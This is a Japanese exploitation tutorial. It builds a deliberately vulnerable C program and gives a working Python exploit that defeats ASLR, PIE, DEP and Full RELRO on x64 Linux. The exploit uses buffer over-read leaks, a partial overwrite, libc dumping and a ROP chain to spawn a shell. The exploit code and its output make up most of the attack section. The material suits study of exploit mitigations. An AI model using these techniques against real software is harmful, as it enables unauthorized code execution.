x64でBuffer over-read+Partial overwrite他によるASLR+PIE+DEP+FullRELRO回避をやってみる

「ROP stager + Return-to-dl-resolve + ブルートフォースによる32bit ASLR+PIE+DEP回避」では、8bitのブルートフォースを行うことでx86環境かつPIEが有効な条件下でのシェル起動を行った。 しかし、x64環境ではASLRによりランダム化されるbit数が28bitとなるため、ブルートフォースによるPIE回避は難しい。 ただし、何らかの方法でInformation Leakができ、実行ファイルあるいはlibcのアドレスが特定できる場合には、x64環境であってもPIE回避は可能である。 ここでは、(恣意的な例ではあるが)Buffer over-readによるInformation LeakおよびPartial overwriteを行うことで、x64環境かつASLR+PIE+DEP+FullRELROが有効な条件下でのシェル起動をやってみる。

環境

Ubuntu 14.04.1 LTS 64bit版

$ uname -a
Linux vm-ubuntu64 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15 03:51:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux

$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 14.04.1 LTS
Release:        14.04
Codename:       trusty

$ clang --version
Ubuntu clang version 3.4-1ubuntu3 (tags/RELEASE_34/final) (based on LLVM 3.4)

脆弱性のあるプログラムを用意する

まず、スタックバッファオーバーフローおよびBuffer over-readを起こせるコードを書く。 また、ここではこれまでのコードとは異なり、脆弱性のある関数からのリターンアドレスが実行ファイル中となるようにオーバーフローが起こる関数を分ける。

/* bof.c */
#include <unistd.h>

int f()
{
    char buf[100];
    int size;
    read(0, &size, 8);
    read(0, buf, size);
    write(1, buf, size);
    return 0;
}

int main()
{
    return f();
}

このコードは最初に8バイトのデータ長を読み込み、続くデータをそのデータ長だけ読み込んだ後出力する。

clangを使い、ASLR、PIE、DEP、RELRO有効、SSP無効でコンパイルし実行してみる。

$ sudo sysctl -w kernel.randomize_va_space=2
kernel.randomize_va_space = 2

$ clang -fno-stack-protector -Wl,-z,relro,-z,now -fPIE -pie bof.c

$ echo -en "\x04\x00\x00\x00\x00\x00\x00\x00AAAA" | ./a.out
AAAA

Partial overwriteによるASLR回避

ASLRおよびPIEが有効な場合、実行ファイルが置かれるアドレスも共有ライブラリ同様にランダム化される。 しかしリトルエンディアン環境においては、リターンアドレスなどの下位バイトのみを書き換えることで付近のコードにジャンプさせることが可能である。 この手法はPartial overwriteと呼ばれる。

今回の例においては、まずBuffer over-readによりリターンアドレスの読み出しを行い、実行ファイルのベースアドレスを特定する。 さらに、Partial overwriteによりリターンアドレスを少し手前に戻すことで、Return-to-vuln同様に再度脆弱性のある関数を呼び出し、特定した実行ファイルのベースアドレスをもとに構築したROPシーケンスを実行する。 これができれば、あとはPIEが無効な場合と同様にDynamic ROPなどを行うことでシェルを起動することができる。

エクスプロイトコードを書いてみる

最初に、実行ファイルからセクション情報およびディスアセンブル結果を出力しておく。

$ readelf -S a.out > dump.txt

$ objdump -d a.out >> dump.txt

上で出力した情報をもとに、Buffer over-readおよびPartial overwriteを用い、PIEを回避するエクスプロイトコードを書くと次のようになる。

# exploit.py
import sys
import struct
from subprocess import Popen, PIPE

bufsize = int(sys.argv[1])

addr_bss = 0x0000000000201010   # readelf -S a.out
addr_got_read = 0x200fb8        # objdump -d -j.plt a.out
addr_got_write = 0x200fb0       # objdump -d -j.plt a.out
addr_got_start = 0x200fc0       # objdump -d -j.plt a.out
addr_f = 0x00000000000007d0     # objdump -d a.out

addr_csu_init1 = 0x8b6
addr_csu_init2 = 0x8a0
addr_to_call_again = 0x84f

"""
0000000000000860 <__libc_csu_init>:
 ...
 8a0:   4c 89 ea                mov    rdx,r13
 8a3:   4c 89 f6                mov    rsi,r14
 8a6:   44 89 ff                mov    edi,r15d
 8a9:   41 ff 14 dc             call   QWORD PTR [r12+rbx*8]
 8ad:   48 83 c3 01             add    rbx,0x1
 8b1:   48 39 eb                cmp    rbx,rbp
 8b4:   75 ea                   jne    8a0 <__libc_csu_init+0x40>
 8b6:   48 83 c4 08             add    rsp,0x8
 8ba:   5b                      pop    rbx
 8bb:   5d                      pop    rbp
 8bc:   41 5c                   pop    r12
 8be:   41 5d                   pop    r13
 8c0:   41 5e                   pop    r14
 8c2:   41 5f                   pop    r15
 8c4:   c3                      ret    

0000000000000840 <main>:
 840:   55                      push   rbp
 841:   48 89 e5                mov    rbp,rsp
 844:   48 83 ec 10             sub    rsp,0x10
 848:   c7 45 fc 00 00 00 00    mov    DWORD PTR [rbp-0x4],0x0
 84f:   e8 7c ff ff ff          call   7d0 <f>
 854:   48 83 c4 10             add    rsp,0x10
 858:   5d                      pop    rbp
 859:   c3                      ret    
"""

p = Popen(['./a.out'], stdin=PIPE, stdout=PIPE)

# stage 1:
# read the base address of executable

buf = 'A' * bufsize
buf += 'A' * (8-len(buf)%8)
buf += 'AAAAAAAA' * 2
buf += struct.pack('<B', addr_to_call_again & 0xFF)  # partial overwrite

p.stdin.write(struct.pack('<Q', len(buf)-1+8))
p.stdin.write(buf)
p.stdout.read(len(buf)-1)
ref_addr = struct.unpack('<Q', p.stdout.read(8))[0]
b = ref_addr - addr_to_call_again
print "[+] addr_base = %x" % b

# stage 2:
# read address of __libc_start_main()

buf = 'A' * bufsize
buf += 'A' * (8-len(buf)%8)
buf += 'AAAAAAAA' * 2
buf += struct.pack('<QQQQQQQQ', b + addr_csu_init1, 0, 0, 1, b + addr_got_write, 8, b + addr_got_start, 1)
buf += struct.pack('<QQQQQQQQ', b + addr_csu_init2, 0, 0 ,0, 0, 0, 0, 0)
buf += struct.pack('<Q', b + addr_f)

p.stdin.write(struct.pack('<Q', len(buf)))
p.stdin.write(buf)
p.stdout.read(len(buf))
addr_libc_start = struct.unpack('<Q', p.stdout.read(8))[0]
print "[+] addr_libc_start = %x" % addr_libc_start

# stage 3:
# read libc binary

stacksize = 0x400
base_stage = b + addr_bss + stacksize
libc_readsize = 0x160000

buf = 'A' * bufsize
buf += 'A' * (8-len(buf)%8)
buf += 'AAAAAAAA' * 2
buf += struct.pack('<QQQQQQQQ', b + addr_csu_init1, 0, 0, 1, b + addr_got_write, libc_readsize, addr_libc_start, 1)
buf += struct.pack('<QQQQQQQQ', b + addr_csu_init2, 0, 0 ,1, b + addr_got_read, 100, base_stage, 0)
buf += struct.pack('<QQQQQQQQ', b + addr_csu_init2, 0, 0 ,0, 0, 0, 0, 0)
buf += struct.pack('<Q', b + addr_f)

p.stdin.write(struct.pack('<Q', len(buf)))
p.stdin.write(buf)
p.stdout.read(len(buf))
libc_bin = p.stdout.read(libc_readsize)
print "[+] len(libc_bin) = %x" % len(libc_bin)

buf = struct.pack('<Q', base_stage + 16)
buf += struct.pack('<Q', 0)
buf += "/bin/sh\x00"
buf += 'A' * (100-len(buf))

p.stdin.write(buf)

# stage 4:
# execve("/bin/sh", {"/bin/sh", NULL}, NULL)

addr_pop_rax = addr_libc_start + libc_bin.index('\x58\xc3')  # pop rax; ret
addr_pop_rdi = addr_libc_start + libc_bin.index('\x5f\xc3')  # pop rdi; ret
addr_pop_rsi = addr_libc_start + libc_bin.index('\x5e\xc3')  # pop rsi; ret
addr_pop_rdx = addr_libc_start + libc_bin.index('\x5a\xc3')  # pop rdx; ret
addr_syscall = addr_libc_start + libc_bin.index('\x0f\x05')  # syscall

nr_execve = 59  # grep execve /usr/include/x86_64-linux-gnu/asm/unistd_64.h

buf = 'A' * bufsize
buf += 'A' * (8-len(buf)%8)
buf += 'AAAAAAAA' * 2
buf += struct.pack('<Q', addr_pop_rax)
buf += struct.pack('<Q', nr_execve)
buf += struct.pack('<Q', addr_pop_rdi)
buf += struct.pack('<Q', base_stage + 16)
buf += struct.pack('<Q', addr_pop_rsi)
buf += struct.pack('<Q', base_stage)
buf += struct.pack('<Q', addr_pop_rdx)
buf += struct.pack('<Q', 0)
buf += struct.pack('<Q', addr_syscall)

p.stdin.write(struct.pack('<Q', len(buf)))
p.stdin.write(buf)
p.stdout.read(len(buf))

p.stdin.write("exec /bin/sh <&2 >&2\n")
p.wait()

このコードは、オーバーフローさせるバッファのサイズを引数に取る。 コードの内容を簡単にまとめると次のようになる。

  1. Partial overwriteにより、リターンアドレスの下位1バイトを書き換え脆弱性のある関数fを呼び出す直前に向ける(854→84f)ことで、再度fが呼び出されるようにする
  2. Buffer over-readにより、Partial overwriteで書き換えられたリターンアドレスを読み出し、実行ファイルのベースアドレスを特定する
  3. 再度呼び出されたfを通して、Dynamic ROP+Return-to-vulnを行う

引数をセットし実行してみる。

$ python exploit.py 100
[+] addr_base = 7f83029e8000
[+] addr_libc_start = 7f830241edd0
[+] len(libc_bin) = 160000
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$

上の結果より、シェルが起動できていることが確認できる。 さらに、もう一度エクスプロイトコードを実行すると、実行ファイルのベースアドレスとlibcのアドレスが変わっている、すなわちASLR+PIEが有効な状態であることが確認できる。

$ python exploit.py 100
[+] addr_base = 7f8597ada000
[+] addr_libc_start = 7f8597510dd0
[+] len(libc_bin) = 160000
$

以上の結果より、Buffer over-readによるInformation LeakおよびPartial overwriteを用いることで、x64環境かつASLR+PIE+DEP+FullRELROが有効な条件下でシェルが起動できていることが確認できた。

関連リンク